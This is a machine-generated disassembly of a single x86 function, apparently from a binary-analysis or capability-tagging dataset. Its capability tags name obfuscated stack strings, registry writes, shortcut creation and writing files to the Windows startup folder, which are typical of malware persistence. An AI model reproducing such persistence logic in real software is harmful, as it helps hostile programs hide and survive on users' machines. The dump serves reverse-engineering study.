Function at 0x4452a0
Capabilities:
Contain obfuscated stackstrings
Copy file
Create process on windows
Create shortcut via ishelllink
Get common file path
Get session user name
Get startup folder
Set registry value
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x507a82
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x9a0
push ebx
xor eax, eax
mov dword [ebp - 0x14], 0
push esi
push edi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x70], eax
sub esp, 0x18
mov dword [ebp - 4], 7
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00465a60
lea eax, [ebp - 0x580]
mov ecx, 0x5183b0
push eax
call fcn.00445230
push eax
lea ecx, [ebp + 8]
call fcn.004658e0
lea ecx, [ebp - 0x580]
call fcn.00402660
mov ecx, 0x5360f0
call fcn.00463250
test al, al
je 0x447e07
mov ecx, 0x5360f0
call fcn.00463280
test al, al
jne 0x447e07
lea eax, [ebp - 0x47c]
mov ecx, 0x5360f0
push eax
call fcn.004630e0
lea eax, [ebp - 0x5b0]
mov ecx, 0x5360f0
push eax
call fcn.00463070
lea eax, [ebp - 0x5b0]
push eax
lea ecx, [ebp - 0x47c]
call fcn.00466f90
test al, al
jne 0x447e07
mov ebx, dword [ebp - 0xdc]
lea ecx, [ebp - 0x47c]
call fcn.004627b0
lea ecx, [ebp - 0x1a5]
mov dword [ebp - 0x1a5], 0x82b48e85
mov esi, eax
mov dword [ebp - 0x1a1], 0x8a838c
mov byte [ebp - 0x19d], 1
call fcn.0040b860
push eax
mov ecx, esi
call fcn.00469b20
lea ecx, [ebp - 0x580]
push ecx
mov ecx, eax
call fcn.00469c60
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1ca]
mov dword [ebp - 0x1ca], 0x81b48e85
mov dword [ebp - 0x1c6], 0x83849c8c
mov word [ebp - 0x1c2], 0x100
call fcn.0040ee20
push eax
mov ecx, esi
call fcn.00469b20
lea ecx, [ebp - 0x620]
push ecx
mov ecx, eax
call fcn.00469c60
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x17b]
mov dword [ebp - 0x17b], 0x8bb48e85
mov dword [ebp - 0x177], 0x1008188
call fcn.00410500
push eax
mov ecx, esi
call fcn.00469b20
lea ecx, [ebp - 0x43c]
push ecx
mov ecx, eax
call fcn.00469c60
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x173]
mov dword [ebp - 0x173], 0x99b48e85
mov dword [ebp - 0x16f], 0x100829f
call fcn.00410500
push eax
mov ecx, esi
call fcn.00469b20
lea ecx, [ebp - 0x568]
push ecx
mov ecx, eax
call fcn.00469c60
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x3d]
movaps xmm0, xmmword [0x525c30]
movups xmmword [ebp - 0x3d], xmm0
mov dword [ebp - 0x2d], 0x82888d
mov byte [ebp - 0x29], 1
call fcn.0040eee0
push eax
mov ecx, esi
call fcn.00469b20
mov ecx, eax
call fcn.00469d90
movaps xmm0, xmmword [0x5264a0]
lea ecx, [ebp - 0x3e]
mov byte [ebp - 0x44], al
movups xmmword [ebp - 0x3e], xmm0
mov dword [ebp - 0x2e], 0x8e9e968c
mov word [ebp - 0x2a], 0x100
call fcn.0040ef70
push eax
mov ecx, esi
call fcn.00469b20
mov ecx, eax
call fcn.00469d90
mov byte [ebp - 0x46], al
movaps xmm0, xmmword [0x526010]
lea ecx, [ebp - 0x3a]
movups xmmword [ebp - 0x3a], xmm0
mov word [ebp - 0x2a], 0x100
call fcn.0040edc0
push eax
mov ecx, esi
call fcn.00469b20
mov ecx, eax
call fcn.00469d90
mov byte [ebp - 0x45], al
lea ecx, [ebp - 0x43c]
lea eax, [ebp - 0x4c8]
push eax
call fcn.004655b0
lea ecx, [ebp - 0x43c]
mov edi, dword [eax]
lea eax, [ebp - 0x550]
push eax
call fcn.00465590
lea ecx, [ebp - 0x43c]
mov esi, dword [eax]
lea eax, [ebp - 0x54c]
push eax
call fcn.004655b0
push edi
push esi
mov edx, fcn.004e292e
lea ecx, [ebp - 0x300]
push dword [eax]
call fcn.0046a510
add esp, 0xc
mov word [ebp - 0x1f], 0xc9
lea ecx, [ebp - 0x1f]
mov byte [ebp - 0x1d], 1
call fcn.00462d90
lea ecx, [ebp - 0x43c]
call fcn.004027a0
lea ecx, [ebp - 0x1f]
push ecx
push eax
call fcn.004de220
add esp, 8
test eax, eax
je 0x445658
push ebx
lea ecx, [ebp - 0x248]
call fcn.004027f0
push 0
push 0x5204b8
lea ecx, [ebp - 0x248]
mov byte [ebp - 4], 0xc
call fcn.00402810
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x49]
mov word [ebp - 0x49], 0xc9
mov byte [ebp - 0x47], 1
call fcn.00462d90
push dword [ebp - 0x300]
lea ecx, [ebp - 0x2b8]
call fcn.004027f0
lea ecx, [ebp - 0x49]
mov byte [ebp - 4], 0xe
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4455d4
sub ecx, edx
lea eax, [ebp - 0x49]
push ecx
push eax
lea ecx, [ebp - 0x2b8]
call fcn.00402810
lea eax, [ebp - 0x248]
mov byte [ebp - 4], 0xf
push eax
lea edx, [ebp - 0x2b8]
lea ecx, [ebp - 0x43c]
call fcn.0040c6e0
add esp, 4
lea ecx, [ebp - 0x2b8]
call fcn.00402660
lea ecx, [ebp - 0x248]
mov byte [ebp - 4], 0xb
call fcn.00402660
lea ecx, [ebp - 0x1f]
mov word [ebp - 0x1f], 0xc9
mov byte [ebp - 0x1d], 1
call fcn.00462d90
lea ecx, [ebp - 0x43c]
call fcn.004027a0
lea ecx, [ebp - 0x1f]
push ecx
push eax
call fcn.004de220
add esp, 8
test eax, eax
jne 0x445581
sub esp, 0x18
mov word [ebp - 0xc3], 0xc5
lea ecx, [ebp - 0xc3]
mov byte [ebp - 0xc1], 1
xor bl, bl
mov dword [ebp - 0x18], esp
mov esi, esp
call fcn.0040a3c0
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x43c]
mov ecx, esp
push eax
call fcn.00465a60
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 4], 0xb
call fcn.0040c3e0
add esp, 0x30
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 4], 0x11
xor esi, esi
call fcn.004646a0
test eax, eax
je 0x4456ef
push esi
lea ecx, [ebp - 0x2c4]
call fcn.00464680
lea edx, [ebp + 8]
mov ecx, eax
call fcn.00469af0
test al, al
jne 0x4456ed
lea ecx, [ebp - 0x2c4]
inc esi
call fcn.004646a0
cmp esi, eax
jb 0x4456c1
jmp 0x4456ef
mov bl, 1
mov ecx, dword [ebp - 0x2c0]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x2c4]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x445716
test bl, bl
je 0x447da1
sub esp, 0x18
mov word [ebp - 0xae], 0xc5
lea ecx, [ebp - 0xae]
mov byte [ebp - 0xac], 1
xor bl, bl
mov dword [ebp - 0x18], esp
mov esi, esp
call fcn.0040a3c0
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x620]
mov ecx, esp
push eax
call fcn.00465a60
lea ecx, [ebp - 0x2fc]
mov byte [ebp - 4], 0x11
call fcn.0040c3e0
add esp, 0x30
xor ecx, ecx
mov byte [ebp - 4], 0x13
mov edi, dword [ebp - 0x2f8]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x2fc]
mov dword [ebp - 0x24], ecx
mov ecx, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4468ad
nop word [eax + eax]
mov edi, dword [ebp - 0x24]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x18], esp
lea eax, [edi + edi*2]
lea eax, [esi + eax*8]
push eax
call fcn.00465a60
sub esp, 0x10
mov byte [ebp - 4], 0x14
lea eax, [ebp + 0x20]
mov ecx, esp
push eax
call fcn.00463560
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 0x13
call fcn.00414040
add esp, 0x28
xor edx, edx
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x360]
call fcn.00469d50
test al, al
je 0x446870
movaps xmm0, xmmword [0x525ef0]
lea ecx, [ebp - 0x3c]
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0x100899c
call fcn.00462a60
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x360]
call fcn.00469b20
lea edx, [ebp - 0x41]
mov ecx, eax
call fcn.00479730
movaps xmm0, xmmword [0x525db0]
lea ecx, [ebp - 0x3e]
movups xmmword [ebp - 0x3e], xmm0
mov dword [ebp - 0x2e], 0x8f9f8896
mov word [ebp - 0x2a], 0x100
call fcn.00462970
lea eax, [ebp - 0x3e]
push eax
lea ecx, [ebp - 0x360]
call fcn.00469b20
lea edx, [ebp - 0x42]
mov ecx, eax
call fcn.00479730
movaps xmm0, xmmword [0x5261c0]
lea ecx, [ebp - 0x3c]
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0x100838b
call fcn.00462a60
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x360]
call fcn.00469b20
lea edx, [ebp - 0x43]
mov ecx, eax
call fcn.00479730
lea ecx, [ebp - 0x16b]
mov dword [ebp - 0x16b], 0x87998b84
mov dword [ebp - 0x167], 0x9d808ab2
mov dword [ebp - 0x163], 0x879d9b90
mov word [ebp - 0x15f], 0x100
call fcn.00462a90
lea eax, [ebp - 0x16b]
push eax
lea ecx, [ebp - 0x360]
call fcn.00469b20
lea ecx, [ebp - 0x248]
push ecx
mov ecx, eax
call fcn.00469c60
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x4c]
mov word [ebp - 0x4c], 0xc5
mov byte [ebp - 0x4a], 1
call fcn.00462d90
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x58], esi
mov ecx, esi
push dword [ebp - 0x58]
call fcn.004027f0
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x17
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x445920
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
mov ecx, esi
call fcn.00402810
sub esp, 0x18
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x248]
mov ecx, esp
push eax
call fcn.00465a60
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 4], 0x16
call fcn.0040c3e0
add esp, 0x30
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x193]
mov byte [ebp - 0xd], 0
mov dword [ebp - 0x193], 0x87998b84
mov dword [ebp - 0x18f], 0x85808db2
mov dword [ebp - 0x18b], 0x9d81869f
mov dword [ebp - 0x187], 0x1008590
call fcn.00462910
lea eax, [ebp - 0x193]
push eax
lea ecx, [ebp - 0x360]
call fcn.00469b20
lea ecx, [ebp - 0x2b8]
push ecx
mov ecx, eax
call fcn.00469c60
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x2a8], 0
je 0x445a97
sub esp, 0x18
mov word [ebp - 0xab], 0xc5
lea ecx, [ebp - 0xab]
mov byte [ebp - 0xa9], 1
mov esi, esp
mov dword [ebp - 0x1c], esp
call fcn.0040a3c0
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x2b8]
mov ecx, esp
push eax
call fcn.00465a60
lea ecx, [ebp - 0x34c]
mov byte [ebp - 4], 0x1a
call fcn.0040c3e0
mov esi, dword [ebp - 0x34c]
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x348]
add esp, 0x30
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x445a82
xor edi, edi
lea eax, [ebp + 8]
lea ecx, [edi + esi]
push eax
call fcn.0046d200
test al, al
jne 0x445a7e
mov ecx, dword [ebp - 0x348]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x34c]
add edi, 0x18
inc dword [ebp - 0x18]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x18], eax
jb 0x445a42
jmp 0x445a82
mov byte [ebp - 0xd], 1
lea ecx, [ebp - 0x34c]
call fcn.00467c60
cmp byte [ebp - 0xd], 0
je 0x44684c
cmp dword [ebp - 0x238], 0
je 0x44684a
cmp byte [ebp - 0x41], 0
je 0x4460fa
lea ecx, [ebp + 0x30]
call fcn.00463040
test eax, eax
je 0x445dc2
lea eax, [ebp - 0x340]
push eax
lea ecx, [ebp + 0x30]
call fcn.00469e10
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 0x1c
push eax
lea ecx, [ebp - 0x340]
call fcn.00462e70
lea eax, [ebp - 0x249]
push eax
lea ecx, [ebp - 0x340]
call fcn.00462e60
mov eax, dword [ebp - 0x218]
cmp byte [eax + 0xd], 0
jne 0x445db3
test bl, bl
jne 0x445db3
cmp byte [eax + 0x28], bl
lea esi, [eax + 0x28]
je 0x445d98
mov ecx, esi
call fcn.00463040
test eax, eax
je 0x445d98
lea eax, [ebp - 0x49c]
mov ecx, esi
push eax
call fcn.004630e0
lea eax, [ebp - 0x590]
mov ecx, esi
push eax
call fcn.00463070
lea eax, [ebp - 0x590]
push eax
lea ecx, [ebp - 0x49c]
call fcn.00466f90
test al, al
jne 0x445d98
nop
lea ecx, [ebp - 0x49c]
call fcn.004627b0
test bl, bl
jne 0x445d98
lea ecx, [ebp - 0x308]
push ecx
mov ecx, eax
call fcn.00469e10
lea eax, [ebp - 0x214]
mov byte [ebp - 4], 0x1d
push eax
lea ecx, [ebp - 0x308]
call fcn.00462e70
lea eax, [ebp - 0x20d]
push eax
lea ecx, [ebp - 0x308]
call fcn.00462e60
mov eax, dword [ebp - 0x214]
cmp byte [eax + 0xd], bl
jne 0x445d64
test bl, bl
jne 0x445d64
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00463040
test eax, eax
je 0x445d49
lea eax, [ebp - 0x4ac]
mov ecx, esi
push eax
call fcn.004630e0
lea eax, [ebp - 0x5a0]
mov ecx, esi
push eax
call fcn.00463070
lea eax, [ebp - 0x5a0]
push eax
lea ecx, [ebp - 0x4ac]
call fcn.00466f90
test al, al
jne 0x445d49
nop dword [eax + eax]
lea ecx, [ebp - 0x4ac]
call fcn.004627b0
mov esi, eax
test bl, bl
jne 0x445d49
push dword [ebp - 0x58]
lea ecx, [ebp - 0xa8]
call fcn.004027f0
push 0
push 0x5204b8
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x1e
call fcn.00402810
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xec]
mov dword [ebp - 0xec], 0x8d86858d
mov dword [ebp - 0xe8], 0x1008084
call fcn.004628b0
lea eax, [ebp - 0xec]
mov ecx, esi
push eax
call fcn.00469b20
cmp byte [eax], bl
je 0x445cb7
lea ecx, [ebp - 0xce]
mov dword [ebp - 0xce], 0x8d86858d
mov dword [ebp - 0xca], 0x1008084
call fcn.004628b0
lea eax, [ebp - 0xce]
mov ecx, esi
push eax
call fcn.00469b20
push eax
lea ecx, [ebp - 0xa8]
call fcn.00469ea0
lea ecx, [ebp - 0x5f]
mov word [ebp - 0x5f], 0xc7
mov byte [ebp - 0x5d], 1
call fcn.00462d90
sub esp, 0x18
lea eax, [ebp - 0xa8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
lea edx, [ebp - 0x5f]
push eax
call fcn.00469870
sub esp, 8
mov byte [ebp - 4], 0x20
lea eax, [ebp - 0x2d0]
mov byte [ebp - 0xd], 0
mov ecx, esp
push eax
call fcn.004647a0
mov cl, byte [ebp - 0xd]
mov byte [ebp - 4], 0x1f
call fcn.004142a0
add esp, 0x24
movzx ebx, bl
test al, al
mov byte [ebp - 4], 0x1d
mov eax, 1
lea ecx, [ebp - 0xa8]
cmovne ebx, eax
call fcn.00402660
lea ecx, [ebp - 0x4ac]
call fcn.00462760
lea eax, [ebp - 0x5a0]
push eax
lea ecx, [ebp - 0x4ac]
call fcn.00466f90
test al, al
je 0x445c10
lea ecx, [ebp - 0x214]
call fcn.00466f10
mov eax, dword [ebp - 0x214]
cmp byte [eax + 0xd], 0
je 0x445bb8
lea ecx, [ebp - 0x308]
mov byte [ebp - 4], 0x1c
call fcn.0041c2b0
lea ecx, [ebp - 0x49c]
call fcn.00462760
lea eax, [ebp - 0x590]
push eax
lea ecx, [ebp - 0x49c]
call fcn.00466f90
test al, al
je 0x445b60
lea ecx, [ebp - 0x218]
call fcn.00466f10
mov eax, dword [ebp - 0x218]
cmp byte [eax + 0xd], 0
je 0x445b05
lea ecx, [ebp - 0x340]
mov byte [ebp - 4], 0x1a
call fcn.0041c2b0
test bl, bl
jne 0x4460fa
lea ecx, [ebp + 0x40]
call fcn.00463040
test eax, eax
je 0x4460fa
lea eax, [ebp - 0x318]
push eax
lea ecx, [ebp + 0x40]
call fcn.00469e10
lea eax, [ebp - 0x220]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x318]
call fcn.00462e70
lea eax, [ebp - 0x20e]
push eax
lea ecx, [ebp - 0x318]
call fcn.00462e60
mov eax, dword [ebp - 0x220]
cmp byte [eax + 0xd], bl
jne 0x4460ef
test bl, bl
jne 0x4460ef
cmp byte [eax + 0x28], bl
lea esi, [eax + 0x28]
je 0x4460d4
mov ecx, esi
call fcn.00463040
test eax, eax
je 0x4460d4
lea eax, [ebp - 0x48c]
mov ecx, esi
push eax
call fcn.004630e0
lea eax, [ebp - 0x5c0]
mov ecx, esi
push eax
call fcn.00463070
lea eax, [ebp - 0x5c0]
push eax
lea ecx, [ebp - 0x48c]
call fcn.00466f90
test al, al
jne 0x4460d4
mov edi, dword [ebp - 0x28]
nop dword [eax]
lea ecx, [ebp - 0x48c]
call fcn.004627b0
mov esi, eax
test bl, bl
jne 0x4460d4
lea ecx, [ebp - 0x310]
mov byte [ebp - 4], 0x22
call fcn.0046cce0
or edi, 0x40
lea edx, [ebp - 0x310]
mov ecx, esi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x70], edi
call fcn.004797b0
mov eax, dword [ebp - 0x310]
lea ecx, [ebp - 0x21c]
push 0
push dword [eax]
call fcn.00466f70
mov eax, dword [ebp - 0x21c]
cmp byte [eax + 0xd], bl
jne 0x446097
mov edi, 1
test bl, bl
jne 0x446094
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00463040
test eax, eax
je 0x446079
push esi
lea ecx, [ebp - 0x3e4]
call fcn.004670c0
lea ecx, [ebp - 0x3e4]
call fcn.00467080
push esi
lea ecx, [ebp - 0x518]
call fcn.004670c0
lea ecx, [ebp - 0x518]
call fcn.00467050
lea eax, [ebp - 0x518]
push eax
lea ecx, [ebp - 0x3e4]
call fcn.00466f90
test al, al
jne 0x446079
lea ecx, [ebp - 0x3e4]
call fcn.004627b0
mov esi, eax
test bl, bl
jne 0x446079
push dword [ebp - 0x58]
lea ecx, [ebp - 0xa8]
call fcn.004027f0
push 0
push 0x5204b8
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x23
call fcn.00402810
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xe4], 0x8d86858d
mov dword [ebp - 0xe0], 0x1008084
call fcn.004628b0
lea eax, [ebp - 0xe4]
mov ecx, esi
push eax
call fcn.00469b20
cmp byte [eax], bl
je 0x445fec
lea ecx, [ebp - 0xd6]
mov dword [ebp - 0xd6], 0x8d86858d
mov dword [ebp - 0xd2], 0x1008084
call fcn.004628b0
lea eax, [ebp - 0xd6]
mov ecx, esi
push eax
call fcn.00469b20
push eax
lea ecx, [ebp - 0xa8]
call fcn.00470ac0
lea ecx, [ebp - 0x62]
mov word [ebp - 0x62], 0xc7
mov byte [ebp - 0x60], 1
call fcn.00462d90
sub esp, 0x18
lea eax, [ebp - 0xa8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
lea edx, [ebp - 0x62]
push eax
call fcn.00469870
sub esp, 8
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x2d0]
mov byte [ebp - 0xd], 0
mov ecx, esp
push eax
call fcn.004647a0
mov cl, byte [ebp - 0xd]
mov byte [ebp - 4], 0x24
call fcn.004142a0
add esp, 0x24
movzx ebx, bl
test al, al
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0xa8]
cmovne ebx, edi
call fcn.00402660
lea ecx, [ebp - 0x3e4]
call fcn.00462760
lea eax, [ebp - 0x518]
push eax
lea ecx, [ebp - 0x3e4]
call fcn.00466f90
test al, al
je 0x445f45
lea ecx, [ebp - 0x21c]
call fcn.00466f10
mov eax, dword [ebp - 0x21c]
cmp byte [eax + 0xd], 0
je 0x445ee3
mov edi, dword [ebp - 0x28]
and edi, 0xffffffbf
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x310]
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x70], edi
call fcn.0041c2b0
lea ecx, [ebp - 0x48c]
call fcn.00462760
lea eax, [ebp - 0x5c0]
push eax
lea ecx, [ebp - 0x48c]
call fcn.00466f90
test al, al
je 0x445e80
lea ecx, [ebp - 0x220]
call fcn.00466f10
mov eax, dword [ebp - 0x220]
cmp byte [eax + 0xd], 0
je 0x445e20
lea ecx, [ebp - 0x318]
call fcn.0041c2b0
cmp byte [ebp - 0x42], 0
je 0x446503
test bl, bl
jne 0x446503
lea ecx, [ebp + 0x50]
call fcn.00463040
test eax, eax
je 0x4462fe
lea ecx, [ebp - 0x320]
mov byte [ebp - 4], 0x26
call fcn.0046cce0
mov esi, dword [ebp - 0x28]
lea edx, [ebp - 0x320]
or esi, 0x80
lea ecx, [ebp + 0x50]
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x70], esi
call fcn.004797b0
mov eax, dword [ebp - 0x320]
lea ecx, [ebp - 0x224]
push 0
push dword [eax]
call fcn.00466f70
mov eax, dword [ebp - 0x224]
cmp byte [eax + 0xd], bl
jne 0x4462e7
nop dword [eax]
test bl, bl
jne 0x4462e4
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0x3f4]
call fcn.004670c0
lea ecx, [ebp - 0x3f4]
call fcn.00467080
push esi
lea ecx, [ebp - 0x508]
call fcn.004670c0
lea ecx, [ebp - 0x508]
call fcn.00467050
lea eax, [ebp - 0x508]
push eax
lea ecx, [ebp - 0x3f4]
call fcn.00466f90
test al, al
jne 0x4462c9
lea ecx, [ebp - 0x3f4]
call fcn.004627b0
mov esi, eax
test bl, bl
jne 0x4462c9
push dword [ebp - 0x58]
lea ecx, [ebp - 0xa8]
call fcn.004027f0
push 0
push 0x5204b8
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x27
call fcn.00402810
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x75]
mov dword [ebp - 0x75], 0x87989c
mov byte [ebp - 0x71], 1
call fcn.00462e30
lea eax, [ebp - 0x75]
mov ecx, esi
push eax
call fcn.00469b20
cmp byte [eax], bl
je 0x44624c
lea ecx, [ebp - 0x7a]
mov dword [ebp - 0x7a], 0x87989c
mov byte [ebp - 0x76], 1
call fcn.00462e30
lea eax, [ebp - 0x7a]
mov ecx, esi
push eax
call fcn.00469b20
push eax
lea ecx, [ebp - 0xa8]
call fcn.00470ac0
sub esp, 0x18
lea eax, [ebp - 0xa8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.00465a60
sub esp, 0xc
mov byte [ebp - 4], 0x29
lea eax, [ebp - 0x2d0]
mov byte [ebp - 0xd], 1
mov ecx, esp
push eax
call fcn.004647a0
mov cl, byte [ebp - 0xd]
mov byte [ebp - 4], 0x28
call fcn.004142a0
add esp, 0x24
movzx ebx, bl
test al, al
mov byte [ebp - 4], 0x26
mov eax, 1
lea ecx, [ebp - 0xa8]
cmovne ebx, eax
call fcn.00402660
lea ecx, [ebp - 0x3f4]
call fcn.00462760
lea eax, [ebp - 0x508]
push eax
lea ecx, [ebp - 0x3f4]
call fcn.00466f90
test al, al
je 0x4461c3
lea ecx, [ebp - 0x224]
call fcn.00466f10
mov eax, dword [ebp - 0x224]
cmp byte [eax + 0xd], 0
je 0x446170
mov esi, dword [ebp - 0x28]
and esi, 0xffffff7f
lea ecx, [ebp - 0x320]
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x70], esi
call fcn.0041c2b0
test bl, bl
jne 0x446503
lea ecx, [ebp + 0x60]
call fcn.00463040
test eax, eax
je 0x446503
lea ecx, [ebp - 0x328]
mov byte [ebp - 4], 0x2a
call fcn.0046cce0
mov esi, dword [ebp - 0x14]
lea edx, [ebp - 0x328]
or esi, 0x400000
lea ecx, [ebp + 0x60]
mov dword [ebp - 0x14], esi
call fcn.004797b0
mov eax, dword [ebp - 0x328]
lea ecx, [ebp - 0x228]
push 0
push dword [eax]
call fcn.00466f70
mov eax, dword [ebp - 0x228]
cmp byte [eax + 0xd], bl
jne 0x4464ed
test bl, bl
jne 0x4464ea
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0x404]
call fcn.004670c0
lea ecx, [ebp - 0x404]
call fcn.00467080
push esi
lea ecx, [ebp - 0x4f8]
call fcn.004670c0
lea ecx, [ebp - 0x4f8]
call fcn.00467050
lea eax, [ebp - 0x4f8]
push eax
lea ecx, [ebp - 0x404]
call fcn.00466f90
test al, al
jne 0x4464cf
nop word [eax + eax]
lea ecx, [ebp - 0x404]
call fcn.004627b0
mov esi, eax
test bl, bl
jne 0x4464cf
push dword [ebp - 0x58]
lea ecx, [ebp - 0xa8]
call fcn.004027f0
push 0
push 0x5204b8
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x2b
call fcn.00402810
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x7f]
mov dword [ebp - 0x7f], 0x87989c
mov byte [ebp - 0x7b], 1
call fcn.00462e30
lea eax, [ebp - 0x7f]
mov ecx, esi
push eax
call fcn.00469b20
cmp byte [eax], bl
je 0x446452
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x84], 0x87989c
mov byte [ebp - 0x80], 1
call fcn.00462e30
lea eax, [ebp - 0x84]
mov ecx, esi
push eax
call fcn.00469b20
push eax
lea ecx, [ebp - 0xa8]
call fcn.00470ac0
sub esp, 0x18
lea eax, [ebp - 0xa8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.00465a60
sub esp, 0xc
mov byte [ebp - 4], 0x2d
lea eax, [ebp - 0x2d0]
mov byte [ebp - 0xd], 1
mov ecx, esp
push eax
call fcn.004647a0
mov cl, byte [ebp - 0xd]
mov byte [ebp - 4], 0x2c
call fcn.004142a0
add esp, 0x24
movzx ebx, bl
test al, al
mov byte [ebp - 4], 0x2a
mov eax, 1
lea ecx, [ebp - 0xa8]
cmovne ebx, eax
call fcn.00402660
lea ecx, [ebp - 0x404]
call fcn.00462760
lea eax, [ebp - 0x4f8]
push eax
lea ecx, [ebp - 0x404]
call fcn.00466f90
test al, al
je 0x4463c0
lea ecx, [ebp - 0x228]
call fcn.00466f10
mov eax, dword [ebp - 0x228]
cmp byte [eax + 0xd], 0
je 0x446363
mov esi, dword [ebp - 0x14]
and esi, 0xffbfffff
lea ecx, [ebp - 0x328]
mov dword [ebp - 0x14], esi
call fcn.0041c2b0
jmp 0x446506
mov esi, dword [ebp - 0x14]
cmp byte [ebp - 0x43], 0
je 0x44684c
test bl, bl
jne 0x44684c
lea ecx, [ebp + 0x70]
call fcn.00463040
test eax, eax
je 0x44684c
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x2e
call fcn.0046cce0
or esi, 0x100000
lea edx, [ebp - 0x338]
lea ecx, [ebp + 0x70]
mov dword [ebp - 0x14], esi
call fcn.004797b0
mov eax, dword [ebp - 0x338]
lea ecx, [ebp - 0x230]
push 0
push dword [eax]
call fcn.00466f70
mov eax, dword [ebp - 0x230]
cmp byte [eax + 0xd], bl
jne 0x446834
test bl, bl
jne 0x446831
cmp byte [eax + 0x28], bl
lea esi, [eax + 0x28]
je 0x446816
mov ecx, esi
call fcn.00463040
test eax, eax
je 0x446816
push esi
lea ecx, [ebp - 0x424]
call fcn.004670c0
lea ecx, [ebp - 0x424]
call fcn.00467080
push esi
lea ecx, [ebp - 0x4d8]
call fcn.004670c0
lea ecx, [ebp - 0x4d8]
call fcn.00467050
lea eax, [ebp - 0x4d8]
push eax
lea ecx, [ebp - 0x424]
call fcn.00466f90
test al, al
jne 0x446816
nop dword [eax]
lea ecx, [ebp - 0x424]
call fcn.004627b0
mov esi, eax
test bl, bl
jne 0x446816
lea ecx, [ebp - 0x330]
mov byte [ebp - 4], 0x2f
call fcn.0046cce0
or dword [ebp - 0x14], 0x20000
lea edx, [ebp - 0x330]
mov ecx, esi
call fcn.004797b0
mov eax, dword [ebp - 0x330]
lea ecx, [ebp - 0x22c]
push 0
push dword [eax]
call fcn.00466f70
mov eax, dword [ebp - 0x22c]
cmp byte [eax + 0xd], bl
jne 0x4467db
nop dword [eax]
test bl, bl
jne 0x4467db
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00463040
test eax, eax
je 0x4467c0
push esi
lea ecx, [ebp - 0x414]
call fcn.004670c0
lea ecx, [ebp - 0x414]
call fcn.00467080
push esi
lea ecx, [ebp - 0x4e8]
call fcn.004670c0
lea ecx, [ebp - 0x4e8]
call fcn.00467050
lea eax, [ebp - 0x4e8]
push eax
lea ecx, [ebp - 0x414]
